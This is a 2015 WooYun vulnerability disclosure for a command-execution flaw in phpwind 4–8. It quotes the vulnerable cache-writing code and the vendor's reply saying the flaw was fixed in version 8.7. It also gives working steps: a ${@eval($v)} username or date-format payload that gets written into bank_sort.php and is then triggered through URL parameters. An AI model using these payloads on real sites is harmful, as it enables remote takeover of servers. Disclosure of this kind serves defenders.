当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153249

漏洞标题:Phpwind的v4/5/6/7/8命令执行漏洞

相关厂商:phpwind

漏洞作者: 路人甲

提交时间:2015-11-10 11:55

修复时间:2016-02-08 15:10

公开时间:2016-02-08 15:10

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-08: 细节向公众公开

简要描述:

07年那阵挖掘的漏洞,正好这次三个白帽搞了个挑战,借这个机会曝光吧,外面估计也有部分人知道这个吧:)

详细说明:

hack/bank/index.php

$_DDESPOSTDB=array();
$query=$db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC LIMIT $bk_num");
while($deposit=$db->fetch_array($query)){
if($deposit['ddeposit']){
$deposit['dstartdate']=get_date($deposit['dstartdate']);
$_DDESPOSTDB[]=array($deposit['uid'],$deposit['username'],$deposit['ddeposit'],$deposit['dstartdate']);
}
}
$wirtedb=savearray('_DESPOSTDB',$_DESPOSTDB);
$wirtedb.="\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);
writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');
}
...
function savearray($name,$array){
$arraydb="\$$name=array(\r\n\t\t";
foreach($array as $value1){
$arraydb.='array(';
foreach($value1 as $value2){
$arraydb.='"'.addslashes($value2).'",';
}
$arraydb.="),\r\n\t\t";
}
$arraydb.=");\r\n";
return $arraydb;
}


挺明显的一个漏洞,里面可以利用的点是注册的用户名和日期格式,不过这两个地方都有字数限制,真正要利用起来的话需要点技巧,废话不多说了,直接贴上当时写的一个简单的利用方式:

phpwind所有版本远程代码执行漏洞
i)
注册新用户,用户名为${@eval($v)},发表新帖或其他方式获得金钱后,使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:
eval($v)
利用方法[PW6以上版本需要register_globals=on]:
**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();
**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();
ii)
编辑用户资料,在[日期格式][自定义]处填写${@\ev\a\l($v)},使用银行插件进行存款,待论坛缓存更新后[默认为5小时],data/bbscache/bank_sort.php文件会含有如下代码:
eval($v)
利用方法[PW6以上版本需要register_globals=on]:
**.**.**.**/phpwind/data/bbscache/bank_sort.php?v=phpinfo();
**.**.**.**/phpwind/hack.php?H_name=bank&v=phpinfo();


成文较早,并且关于PW6的说明是后加入的,因为没怎么跟PW5后的代码,当时的描述可能不准确,后来听某人跟我反馈说PW6里貌似有可直接利用的变量,从而绕过全局的限制,我就不再验证了,有兴趣的自行跟。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-08 15:10

厂商回复:

您好,该问题已有白帽子在ASRC平台上报,并于2014年12月份修复(版本8.7及以上)。由于phpwind目前仅维护phpwind8.7及以上版本,其他低版本已不再更新,建议仍在使用低版本的用户尽快升级到最新版;如要继续使用老版本,请参考phpwind官方论坛说明自行修复(由于修复方法只针对8.7,其他版本未进行有效测试,仅做参考:《[漏洞补丁]phpwind8.7 利用注册特殊用户致可执行任意命令高危漏洞 》http:///read/)。

最新状态:

暂无